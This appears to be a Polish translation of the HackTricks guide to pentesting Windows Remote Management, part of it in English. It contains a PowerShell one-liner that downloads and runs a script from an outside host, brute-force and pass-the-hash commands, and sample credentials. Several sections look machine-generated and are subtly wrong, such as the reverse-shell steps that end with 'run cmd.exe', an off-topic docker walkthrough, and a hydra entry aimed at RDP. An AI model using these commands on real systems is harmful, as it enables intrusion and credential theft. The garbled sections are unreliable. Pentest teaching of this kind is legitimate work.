hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md
2024-02-11 01:46:25 +00:00

21 KiB
Raw Blame History

5985,5986 - Testowanie penetracyjne WinRM

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!

Spostrzeżenia dotyczące hakerstwa
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa

Aktualności na żywo z hakerstwa
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom

Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

WinRM

Windows Remote Management (WinRM) jest protokołem opracowanym przez Microsoft, który umożliwia zdalne zarządzanie systemami Windows za pomocą HTTP(S), wykorzystując SOAP w procesie. Jest zasadniczo oparty na WMI i prezentuje się jako interfejs oparty na HTTP do operacji WMI.

Obecność WinRM na maszynie umożliwia łatwe zdalne zarządzanie za pomocą PowerShell, podobnie jak SSH działa w innych systemach operacyjnych. Aby sprawdzić, czy WinRM jest aktywny, zaleca się sprawdzenie otwarcia określonych portów:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

Otwarty port z powyższej listy oznacza, że WinRM został skonfigurowany, umożliwiając próby rozpoczęcia sesji zdalnej.

Rozpoczęcie sesji WinRM

Aby skonfigurować PowerShell dla WinRM, używamy polecenia Enable-PSRemoting firmy Microsoft, które konfiguruje komputer do akceptowania zdalnych poleceń PowerShell. Mając podniesione uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i wyznaczyć dowolny host jako zaufany:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

To podejście polega na dodaniu symbolu wieloznacznego do konfiguracji trustedhosts, co wymaga ostrożnego rozważenia ze względu na jego implikacje. Zauważono również, że może być konieczne zmienienie typu sieci z "Publiczna" na "Praca" na maszynie atakującego.

Ponadto, WinRM można aktywować zdalnie za pomocą polecenia wmic, jak pokazano poniżej:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Ta metoda umożliwia zdalne skonfigurowanie WinRM, zwiększając elastyczność zarządzania maszynami z systemem Windows z daleka.

Sprawdź, czy jest skonfigurowane

Aby zweryfikować konfigurację maszyny atakującej, używane jest polecenie Test-WSMan, które sprawdza, czy docelowy system ma poprawnie skonfigurowany WinRM. Wykonując to polecenie, powinieneś otrzymać szczegóły dotyczące wersji protokołu i wsmid, co wskazuje na poprawną konfigurację. Poniżej znajdują się przykłady przedstawiające oczekiwane wyniki dla skonfigurowanego celu i nieskonfigurowanego:

  • Dla celu, który jest poprawnie skonfigurowany, wynik będzie wyglądał podobnie jak:
Test-WSMan <target-ip>

Odpowiedź powinna zawierać informacje o wersji protokołu i wsmid, co oznacza, że WinRM jest poprawnie skonfigurowany.

  • W przypadku celu nie skonfigurowanego dla WinRM, nie będzie takich szczegółowych informacji, co wskazuje na brak poprawnej konfiguracji WinRM.

Wykonaj polecenie

Aby zdalnie wykonać polecenie ipconfig na maszynie docelowej i wyświetlić jego wynik, wykonaj:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Możesz również wykonać polecenie z bieżącej konsoli PS za pomocą Invoke-Command. Załóżmy, że masz lokalnie funkcję o nazwie enumeration i chcesz ją wykonać na zdalnym komputerze, możesz to zrobić:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Wykonaj skrypt

To execute a script on a target machine using WinRM, you can use the Invoke-Command cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote machines.

Invoke-Command -ComputerName <target> -ScriptBlock { <script> }

Replace <target> with the IP address or hostname of the target machine, and <script> with the script you want to execute.

For example, to execute a PowerShell script named script.ps1 on a target machine with the IP address 192.168.1.100, you would use the following command:

Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock { C:\path\to\script.ps1 }

Make sure to provide the correct path to the script on the target machine.

This method can be useful for automating tasks or executing commands on multiple machines simultaneously.

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Uzyskaj odwróconą powłokę

Aby uzyskać odwróconą powłokę, możesz wykorzystać narzędzie winrm do zdalnego wykonywania poleceń na maszynie docelowej. Poniżej przedstawiono kroki, które należy podjąć:

  1. Upewnij się, że masz dostęp do maszyny docelowej i zainstaluj narzędzie winrm na swoim systemie.
  2. Skonfiguruj winrm na maszynie docelowej, aby umożliwić zdalne wykonywanie poleceń. Możesz to zrobić za pomocą polecenia winrm quickconfig lub ręcznie konfigurując usługę winrm.
  3. Sprawdź, czy winrm jest aktywny na maszynie docelowej, wykonując polecenie winrm enumerate winrm/config/Listener.
  4. Jeśli winrm jest aktywny, użyj narzędzia winrs lub winrm na swoim systemie, aby nawiązać połączenie z maszyną docelową. Na przykład, jeśli chcesz użyć narzędzia winrs, wykonaj polecenie winrs -r:http://<adres_ip>:5985 -u:<użytkownik> -p:<hasło> <polecenie>, gdzie <adres_ip> to adres IP maszyny docelowej, <użytkownik> to nazwa użytkownika, a <hasło> to hasło użytkownika.
  5. Po nawiązaniu połączenia możesz wykonywać polecenia na maszynie docelowej, takie jak uruchamianie powłoki odwróconej. Na przykład, jeśli chcesz uruchomić powłokę odwróconą cmd.exe, wykonaj polecenie cmd.exe.

Pamiętaj, że uzyskanie odwróconej powłoki na maszynie docelowej jest nielegalne, jeśli nie masz uprawnienia do tego. Upewnij się, że działasz zgodnie z prawem i posiadasz odpowiednie uprawnienia przed przeprowadzeniem testów penetracyjnych.

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Uzyskaj sesję PS

Aby uzyskać interaktywną powłokę PowerShell, użyj polecenia Enter-PSSession:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

Sesja zostanie uruchomiona w nowym procesie (wsmprovhost) wewnątrz "ofiary"

Wymuszanie otwarcia WinRM

Aby korzystać z PS Remoting i WinRM, ale komputer nie jest skonfigurowany, można go włączyć za pomocą:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Zapisywanie i przywracanie sesji

To nie zadziała, jeśli język jest ograniczony na zdalnym komputerze.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Wewnątrz tych sesji możesz załadować skrypty PS za pomocą Invoke-Command

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Błędy

Jeśli napotkasz następujący błąd:

enter-pssession : Połączenie z zdalnym serwerem 10.10.10.175 nie powiodło się z następującą wiadomością o błędzie: Klient WinRM nie może przetworzyć żądania. Jeśli schemat uwierzytelniania różni się od Kerberos lub jeśli komputer klienta nie jest dołączony do domeny, należy użyć transportu HTTPS lub dodać maszynę docelową do ustawienia konfiguracji TrustedHosts. Użyj polecenia winrm.cmd, aby skonfigurować TrustedHosts. Należy zauważyć, że komputery znajdujące się na liście TrustedHosts mogą nie być uwierzytelnione. Więcej informacji na ten temat można uzyskać, wykonując następujące polecenie: winrm help config. Aby uzyskać więcej informacji, zobacz temat Pomoc dotyczący rozwiązywania problemów związanych z zdalnym dostępem (about_Remote_Troubleshooting).

Spróbuj na kliencie (informacje z tutaj):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Wgląd w Hacking
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania związane z hakowaniem

Aktualności na żywo o Hackingu
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnym wiadomościom i wglądowi

Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Połączenie WinRM w systemie Linux

Atak Brute Force

Bądź ostrożny, atak brute-force na WinRM może zablokować użytkowników.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Używanie evil-winrm

Evil-winrm to narzędzie, które umożliwia zdalne wykonywanie poleceń na zdalnym serwerze Windows, wykorzystując protokół WinRM (Windows Remote Management). Działa podobnie jak narzędzie PowerShell Remoting, ale oferuje dodatkowe funkcje i ułatwienia.

Aby użyć evil-winrm, należy najpierw zainstalować go na swoim systemie. Można to zrobić za pomocą narzędzia RubyGems, wykonując polecenie:

gem install evil-winrm

Po zainstalowaniu narzędzia, można go uruchomić, podając odpowiednie parametry, takie jak adres IP lub nazwa hosta zdalnego serwera, nazwa użytkownika i hasło. Przykładowe polecenie wygląda następująco:

evil-winrm -i <adres_IP_lub_nazwa_hosta> -u <nazwa_użytkownika> -p <hasło>

Po nawiązaniu połączenia z serwerem, można wykonywać polecenia na zdalnym systemie Windows, takie jak przeglądanie plików, uruchamianie skryptów, zmiana ustawień systemowych itp.

Evil-winrm oferuje również funkcje takie jak przesyłanie plików między lokalnym systemem a zdalnym serwerem, zdalne wykonywanie poleceń w tle oraz interaktywny tryb sesji, który umożliwia interakcję z systemem zdalnym w czasie rzeczywistym.

Należy jednak pamiętać, że używanie evil-winrm do nieautoryzowanego dostępu do systemów jest nielegalne i narusza prywatność innych osób. Narzędzie to powinno być używane wyłącznie w celach pentestingu lub w ramach legalnych działań związanych z administracją systemów.

gem install evil-winrm

Przeczytaj dokumentację na jego githubie: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Aby użyć evil-winrm do połączenia z adresem IPv6, utwórz wpis wewnątrz /etc/hosts, ustawiając nazwę domeny na adres IPv6, a następnie połącz się z tą domeną.

Przekazanie skrótu hasła z użyciem evil-winrm

evil-winrm -u <username> -H <Hash> -i <IP>

Używanie maszyny PS-docker

To use a PS-docker machine, you need to have Docker installed on your system. Docker is a platform that allows you to automate the deployment and management of applications using containers. Once you have Docker installed, you can follow the steps below to set up and use a PS-docker machine for pentesting purposes.

  1. First, create a new PS-docker machine by running the following command:

    docker-machine create --driver hyperv --hyperv-virtual-switch "Virtual Switch" ps-docker
    

    This command will create a new PS-docker machine using the Hyper-V driver and the specified virtual switch.

  2. Once the machine is created, you can start it by running the following command:

    docker-machine start ps-docker
    

    This command will start the PS-docker machine.

  3. To connect to the PS-docker machine, run the following command:

    docker-machine env ps-docker | Invoke-Expression
    

    This command will set the environment variables required to connect to the PS-docker machine.

  4. Finally, you can use the PS-docker machine by running the following command:

    docker run -it --rm mcr.microsoft.com/powershell
    

    This command will start a PowerShell container on the PS-docker machine.

By following these steps, you can set up and use a PS-docker machine for pentesting purposes. This allows you to leverage the power of Docker and PowerShell for your hacking activities.

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Używanie skryptu ruby

Kod wydobyty stąd: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Referencje

Automatyczne polecenia HackTricks

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Spostrzeżenia dotyczące hakerstwa
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa.

Aktualności na żywo o hakerstwie
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom.

Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy.

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Naucz się hakerstwa AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: